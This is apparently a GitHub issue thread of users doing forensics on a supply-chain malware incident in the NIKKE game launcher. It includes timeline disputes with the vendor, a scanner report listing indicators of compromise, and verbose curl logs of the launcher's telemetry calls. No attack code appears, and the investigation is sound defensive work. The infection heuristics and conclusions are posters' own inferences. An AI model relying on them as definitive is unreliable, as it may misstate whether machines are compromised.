  1. Their tampering start checks out; their distribution start does not. The vendor says the scripts were modified on Sep 27 at 15:41 (UTC+9). The four modified copies pulled from the CDN carry Last-Modified 2026-09-27 06:41:40 / 06:41:44 / 06:41:57 / 06:42:03 GMT — one batch, matching to the minute. But the vendor says distribution of the malicious program began Oct 30 03:52 (UTC+9) = Oct 29 18:52 GMT. The earliest agent start reported in this thread is Oct 23 16:40 GMT (zbeosf), with a 165,108-byte k2f.lua build still on disk from Oct 23. Their distribution window looks roughly a week too narrow.

  2. Their own two notices disagree about leftovers. The follow-up says DLLs left when the browsers were not closed are no longer executable and pose no additional security risk; the manual guide, same day, admits that even a missing k2f_chan registered line cannot fully rule out risk. Treat leftover DLLs as live.

One warning about the built-in scan that starts Nov 5 08:00 UTC+9: it removes the log, the DLL remnants and the registry key. On the infected machine checked here (the agent ran twice on Nov 3), all four manual-check items were already absent or self-deleted before the guide went out — no CLSID key, no PlatformExperienceHelper directory, and the payload's tinyget log was deleted by the malware itself. The only surviving evidence sat inside tbs_cache. So "not found" is not "not infected", and if you want to keep evidence — for a report, or for a later claim — preserve it before the new client cleans anything.

@victorbbayer-lgtm

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Guys, I formatted my computer and installed a fresh version of Windows. I wiped everything from scratch, but I logged in using the same Microsoft account as before. Even though I had uninstalled OneDrive—which had been full for a long time—it showed up with files from my old PC, though I didn’t download any of them. Some Microsoft account settings also carried over, such as my old PIN. Is there still any risk that my PC might be infected with the virus?

@Solyrus

Solyrus commented Nov 5, 2026 •

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@MotherSphere I might have a unique situation that can help you as a control. I only recently downloaded the Nikke client during the summer on my pc, before that I just played on my phone for the most part. I usually kept the client just open and never closed it until an update hit during the times I played it on my PC. My tinyget.mem.log has nonstop streams for days at a time. The most recent period is 10.29 until 11.03 when i closed it after hearing the news. I ran the scan and only got the EXPOSED response with no history of the exploit agent getting installed, but the cache having the calls. I wonder if my client being open and never restarting maybe saved me in the end. You can see from the prefetch data that i've included of the exact time the client was finally closed, and also that the browser prefetch only shows the last time it was open, not closed.
Prefetch
Report using your software
Information
[INFO] NIKKE install found at D:\Games\NIKKE
Launcher/intl_service/debug.log was checked. It holds the launches since the file was created. Last written 2026-11-03 17:27:31 UTC.
What this means: Context only. It does not change the verdict.
Found in: NIKKE install: D:\Games\NIKKE
Path: D:\Games\NIKKE
[INFO] Chrome's Platform Experience Helper folder
This folder holds no platform_experience_helper.dll and no subfolder named with 64 hex characters. That matches Chrome's own Platform Experience Helper (platform_experience_helper.exe, LoadFeatures), which per-user Chrome installs keep here. It is not a sign of infection.
What this means: Context only. It does not change the verdict.
Found in: User profile:
Path: \AppData\Local\Google\Chrome\User Data\PlatformExperienceHelper
Time: 2026-05-28 13:19:32 UTC
| LoadFeatures
[INFO] Hex ID file in Temp
A 22-byte .tmp file in Temp holds a 22-character hex ID. On the infected computer studied, a file like this was written one second before the agent download. Other Tencent software writes a file with the same name (seen in a Delta Force prefix dated 2026-09-20, before the CDN files were changed), so on its own it is not a sign of infection.
What this means: Context only. It does not change the verdict.
Found in: User profile:
Path: \AppData\Local\Temp\onominan.tmp
Time: 2026-11-03 15:52:47 UTC
| onominan.tmp: ab348391a5b7ca507cd1f8 (2026-11-03 15:52:47 UTC)
Here is where it becomes interesting.
The 3 files detected in the cache were downloaded after the launcher last loaded, probably during the update. The launcher never restarted again, it only closed after I heard about this issue.
image

During this time above the tinyget.mem.log has a lot of activity in the minutes surrounding this onominan.tmp timestamps. Notice that all the headers written in the outgoing files are for the exact time above in the onominan.tmp . The launcher ran for a few hours after this.

[2026-11-04 00:52:26.826][77980][ERROR][cgi_mgr.cpp(389)]CGIMgr::AddCGITask AddCGITask, task_id=1073741935, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:26.866][77980][ERROR][cgi_mgr.cpp(382)]CGIMgr::AddCGITask AddCGITask, high priority task=1073741936
[2026-11-04 00:52:26.866][77980][ERROR][cgi_mgr.cpp(389)]CGIMgr::AddCGITask AddCGITask, task_id=1073741936, url=https://www.jupiterlauncher.com/api/v1/fleet.repo.game.RepoSVC/GetVersion
[2026-11-04 00:52:26.867][77980][ERROR][cgi_mgr.cpp(103)]CGIMgr::CheckTasksDeque CheckTasksDeque, running task num=0, import_query_task_num=0
[2026-11-04 00:52:26.867][77980][TRACE][cgi_curl.cpp(39)]CGICurl::CGICurl Create CGICurl:06A589F8
[2026-11-04 00:52:26.867][77980][ERROR][cgi_curl.cpp(114)]CGICurl::Start Start task=1073741936
[2026-11-04 00:52:26.867][77980][TRACE][thread.cpp(189)]TinyDL::CThread::StartThread start enter.
[2026-11-04 00:52:26.871][77980][TRACE][thread.cpp(235)]TinyDL::CThread::StartThread start,seq:112, task:112, total:1
[2026-11-04 00:52:26.871][77980][ERROR][cgi_mgr.cpp(284)]CGIMgr::StartCGITask StartCGITask, cgi_curl task=1073741936 start
[2026-11-04 00:52:26.871][77980][ERROR][cgi_mgr.cpp(103)]CGIMgr::CheckTasksDeque CheckTasksDeque, running task num=1, import_query_task_num=0
[2026-11-04 00:52:26.871][77980][TRACE][cgi_curl.cpp(39)]CGICurl::CGICurl Create CGICurl:06A57D50
[2026-11-04 00:52:26.871][77980][ERROR][cgi_curl.cpp(114)]CGICurl::Start Start task=1073741935
[2026-11-04 00:52:26.871][77980][TRACE][thread.cpp(189)]TinyDL::CThread::StartThread start enter.
[2026-11-04 00:52:26.886][77980][TRACE][thread.cpp(235)]TinyDL::CThread::StartThread start,seq:113, task:113, total:2
[2026-11-04 00:52:26.886][77980][ERROR][cgi_mgr.cpp(284)]CGIMgr::StartCGITask StartCGITask, cgi_curl task=1073741935 start
[2026-11-04 00:52:26.886][125240][ERROR][cgi_curl.cpp(134)]CGICurl::ReqCGI ReqCGI, task_id=1073741936, strategy=0, url=https://www.jupiterlauncher.com/api/v1/fleet.repo.game.RepoSVC/GetVersion
[2026-11-04 00:52:26.887][13924][ERROR][cgi_curl.cpp(134)]CGICurl::ReqCGI ReqCGI, task_id=1073741935, strategy=0, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:26.887][77980][ERROR][cgi_mgr.cpp(389)]CGIMgr::AddCGITask AddCGITask, task_id=1073741937, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:26.887][77980][ERROR][cgi_mgr.cpp(103)]CGIMgr::CheckTasksDeque CheckTasksDeque, running task num=2, import_query_task_num=0
[2026-11-04 00:52:26.887][77980][TRACE][cgi_curl.cpp(39)]CGICurl::CGICurl Create CGICurl:06A58770
[2026-11-04 00:52:26.887][77980][ERROR][cgi_curl.cpp(114)]CGICurl::Start Start task=1073741937
[2026-11-04 00:52:26.887][77980][TRACE][thread.cpp(189)]TinyDL::CThread::StartThread start enter.
[2026-11-04 00:52:26.902][77980][TRACE][thread.cpp(235)]TinyDL::CThread::StartThread start,seq:114, task:114, total:3
[2026-11-04 00:52:26.902][77980][ERROR][cgi_mgr.cpp(284)]CGIMgr::StartCGITask StartCGITask, cgi_curl task=1073741937 start
[2026-11-04 00:52:26.902][110092][ERROR][cgi_curl.cpp(134)]CGICurl::ReqCGI ReqCGI, task_id=1073741937, strategy=0, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:27.011][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] Trying 13.57.86.131...

[2026-11-04 00:52:27.011][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TCP_NODELAY set

[2026-11-04 00:52:27.011][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] Trying 13.52.65.35...

[2026-11-04 00:52:27.011][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TCP_NODELAY set

[2026-11-04 00:52:27.026][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] Trying 13.57.86.131...

[2026-11-04 00:52:27.026][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TCP_NODELAY set

[2026-11-04 00:52:27.132][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Connected to na.fleetlogd.com (13.57.86.131) port 443 (#0)

[2026-11-04 00:52:27.132][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]ALPN, offering http/1.1

[2026-11-04 00:52:27.132][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.132][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.3 (OUT), TLS handshake, Client hello (1):

[2026-11-04 00:52:27.132][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 512.
[2026-11-04 00:52:27.146][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Connected to na.fleetlogd.com (13.57.86.131) port 443 (#0)

[2026-11-04 00:52:27.146][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]ALPN, offering http/1.1

[2026-11-04 00:52:27.146][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.146][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.3 (OUT), TLS handshake, Client hello (1):

[2026-11-04 00:52:27.146][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 512.
[2026-11-04 00:52:27.153][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Connected to www.jupiterlauncher.com (13.52.65.35) port 443 (#0)

[2026-11-04 00:52:27.153][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]ALPN, offering http/1.1

[2026-11-04 00:52:27.153][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.153][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.3 (OUT), TLS handshake, Client hello (1):

[2026-11-04 00:52:27.153][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 512.
[2026-11-04 00:52:27.252][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.3 (IN), TLS handshake, Server hello (2):

[2026-11-04 00:52:27.253][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Certificate (11):

[2026-11-04 00:52:27.253][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Server key exchange (12):

[2026-11-04 00:52:27.253][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Server finished (14):

[2026-11-04 00:52:27.254][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.254][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS handshake, Client key exchange (16):

[2026-11-04 00:52:27.255][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 70.
[2026-11-04 00:52:27.255][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.255][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):

[2026-11-04 00:52:27.255][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 1.
[2026-11-04 00:52:27.255][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.255][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS handshake, Finished (20):

[2026-11-04 00:52:27.255][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 16.
[2026-11-04 00:52:27.266][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.3 (IN), TLS handshake, Server hello (2):

[2026-11-04 00:52:27.266][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Certificate (11):

[2026-11-04 00:52:27.266][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Server key exchange (12):

[2026-11-04 00:52:27.266][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Server finished (14):

[2026-11-04 00:52:27.267][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.267][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS handshake, Client key exchange (16):

[2026-11-04 00:52:27.267][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 70.
[2026-11-04 00:52:27.268][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.268][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):

[2026-11-04 00:52:27.268][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 1.
[2026-11-04 00:52:27.268][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.268][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS handshake, Finished (20):

[2026-11-04 00:52:27.268][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 16.
[2026-11-04 00:52:27.269][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.3 (IN), TLS handshake, Server hello (2):

[2026-11-04 00:52:27.270][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Certificate (11):

[2026-11-04 00:52:27.270][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Server key exchange (12):

[2026-11-04 00:52:27.270][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Server finished (14):

[2026-11-04 00:52:27.271][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.271][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS handshake, Client key exchange (16):

[2026-11-04 00:52:27.271][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 70.
[2026-11-04 00:52:27.271][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.271][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):

[2026-11-04 00:52:27.271][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 1.
[2026-11-04 00:52:27.271][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.271][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS handshake, Finished (20):

[2026-11-04 00:52:27.271][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 16.
[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Finished (20):

[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256

[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]ALPN, server accepted to use http/1.1

[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Server certificate:

[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] subject: C=CN; ST=Guangdong Province; L=Shenzhen; O=Tencent Technology (Shenzhen) Company Limited; CN=*.fleetlogd.com

[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] start date: Sep 24 00:00:00 2026 GMT

[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] expire date: Apr 10 23:59:59 2027 GMT

[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] issuer: C=US; O=DigiCert, Inc.; CN=DigiCert Secure Site OV G2 TLS CN RSA4096 SHA256 2022 CA1

[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.

[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(661)]CGICurl::ShowDebugInfo [CURL]Header out: POST /fleet.repo.game.ReportGather/GuestReport HTTP/1.1
Host: na.fleetlogd.com
Accept: /
Accept-Encoding: deflate, gzip
Cookie: biz_ticket=REDACTED;login_ticket=REDACTED;uid=REDACTED;
Keep-Alive: timeout=120
Content-Type:application/json
Content-Length: 902

.
[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 4, size: 902.
[2026-11-04 00:52:27.375][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]upload completely sent off: 902 out of 902 bytes

[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Finished (20):

[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256

[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]ALPN, server accepted to use http/1.1

[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Server certificate:

[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] subject: C=CN; ST=Guangdong Province; L=Shenzhen; O=Tencent Technology (Shenzhen) Company Limited; CN=*.fleetlogd.com

[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] start date: Sep 24 00:00:00 2026 GMT

[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] expire date: Apr 10 23:59:59 2027 GMT

[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] issuer: C=US; O=DigiCert, Inc.; CN=DigiCert Secure Site OV G2 TLS CN RSA4096 SHA256 2022 CA1

[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.

[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.387][110092][TRACE][cgi_curl.cpp(661)]CGICurl::ShowDebugInfo [CURL]Header out: POST /fleet.repo.game.ReportGather/GuestReport HTTP/1.1
Host: na.fleetlogd.com
Accept: /
Accept-Encoding: deflate, gzip
Cookie: biz_ticket=REDACTED;login_ticket=REDACTED;uid=REDACTED;
Keep-Alive: timeout=120
Content-Type:application/json
Content-Length: 1490
Expect: 100-continue

.
[2026-11-04 00:52:27.387][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Finished (20):

[2026-11-04 00:52:27.387][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256

[2026-11-04 00:52:27.387][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]ALPN, server accepted to use http/1.1

[2026-11-04 00:52:27.387][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Server certificate:

[2026-11-04 00:52:27.387][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] subject: C=CN; ST=Guangdong Province; L=Shenzhen; O=Tencent Technology (Shenzhen) Company Limited; CN=*.jupiterlauncher.com

[2026-11-04 00:52:27.388][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] start date: Sep 24 00:00:00 2026 GMT

[2026-11-04 00:52:27.388][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] expire date: Apr 10 23:59:59 2027 GMT

[2026-11-04 00:52:27.388][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] issuer: C=US; O=DigiCert, Inc.; CN=DigiCert Secure Site OV G2 TLS CN RSA4096 SHA256 2022 CA1

[2026-11-04 00:52:27.388][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.

[2026-11-04 00:52:27.388][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.388][125240][TRACE][cgi_curl.cpp(661)]CGICurl::ShowDebugInfo [CURL]Header out: POST /api/v1/fleet.repo.game.RepoSVC/GetVersion HTTP/1.1
Host: www.jupiterlauncher.com
Accept: /
Accept-Encoding: deflate, gzip
Cookie: Cookie: biz_ticket=REDACTED;login_ticket=REDACTED;uid=REDACTED;
Keep-Alive: timeout=120
Content-Type:application/json
Referer:https://www.jupiterlauncher.com/
Content-Length: 87

.
[2026-11-04 00:52:27.388][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 4, size: 87.
[2026-11-04 00:52:27.388][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]upload completely sent off: 87 out of 87 bytes

[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: HTTP/1.1 200 OK
.
[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Date: Tue, 03 Nov 2026 15:52:46 GMT
.
[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Content-Type: application/json
.
[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Content-Length: 55
.
[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Connection: keep-alive
.
[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Allow-Headers: *
.
[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Allow-Origin: *
.
[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Max-Age: 3600
.
[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: X-Content-Type-Options: nosniff
.
[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in:
.
[2026-11-04 00:52:27.496][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Connection #0 to host na.fleetlogd.com left intact

[2026-11-04 00:52:27.496][13924][ERROR][cgi_curl.cpp(321)]CGICurl::ReqCGI task=1073741935, curl perform success. url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:27.496][13924][ERROR][cgi_curl.cpp(431)]CGICurl::SetRspCode SetRspCode, rsp_code=200
[2026-11-04 00:52:27.496][13924][ERROR][cgi_curl.cpp(440)]CGICurl::CheckResult CheckResult, result=1
[2026-11-04 00:52:27.506][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: HTTP/1.1 100 Continue
.
[2026-11-04 00:52:27.506][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.506][110092][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 4, size: 1490.
[2026-11-04 00:52:27.506][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]We are completely uploaded and fine

[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: HTTP/1.1 200 OK
.
[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Date: Tue, 03 Nov 2026 15:52:46 GMT
.
[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Content-Type: application/json; charset=utf-8
.
[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Transfer-Encoding: chunked
.
[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Connection: keep-alive
.
[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Server: openresty/1.19.9.1
.
[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: X-Content-Type-Options: nosniff
.
[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: X-TRACE-ID: b7830b52-8709-4bb3-833a-764b65d7ba5d
.
[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Content-Encoding: gzip
.
[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in:
.
[2026-11-04 00:52:27.513][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Connection #0 to host www.jupiterlauncher.com left intact

[2026-11-04 00:52:27.513][125240][ERROR][cgi_curl.cpp(321)]CGICurl::ReqCGI task=1073741936, curl perform success. url=https://www.jupiterlauncher.com/api/v1/fleet.repo.game.RepoSVC/GetVersion
[2026-11-04 00:52:27.513][125240][ERROR][cgi_curl.cpp(431)]CGICurl::SetRspCode SetRspCode, rsp_code=200
[2026-11-04 00:52:27.513][125240][ERROR][cgi_curl.cpp(440)]CGICurl::CheckResult CheckResult, result=1
[2026-11-04 00:52:27.514][77980][ERROR][cgi_mgr.cpp(524)]CGIMgr::FireEvents OnCGITaskRsp, task_id=1073741935, result=0, error_code=0, rsp_code=200, strategy=0, error_msg=, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport, user_data=0, size=55
[2026-11-04 00:52:27.514][77980][ERROR][cgi_mgr.cpp(524)]CGIMgr::FireEvents OnCGITaskRsp, task_id=1073741936, result=0, error_code=0, rsp_code=200, strategy=0, error_msg=, url=https://www.jupiterlauncher.com/api/v1/fleet.repo.game.RepoSVC/GetVersion, user_data=0, size=3331
[2026-11-04 00:52:27.555][77980][ERROR][cgi_mgr.cpp(389)]CGIMgr::AddCGITask AddCGITask, task_id=1073741938, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:27.566][77980][ERROR][cgi_mgr.cpp(103)]CGIMgr::CheckTasksDeque CheckTasksDeque, running task num=1, import_query_task_num=0
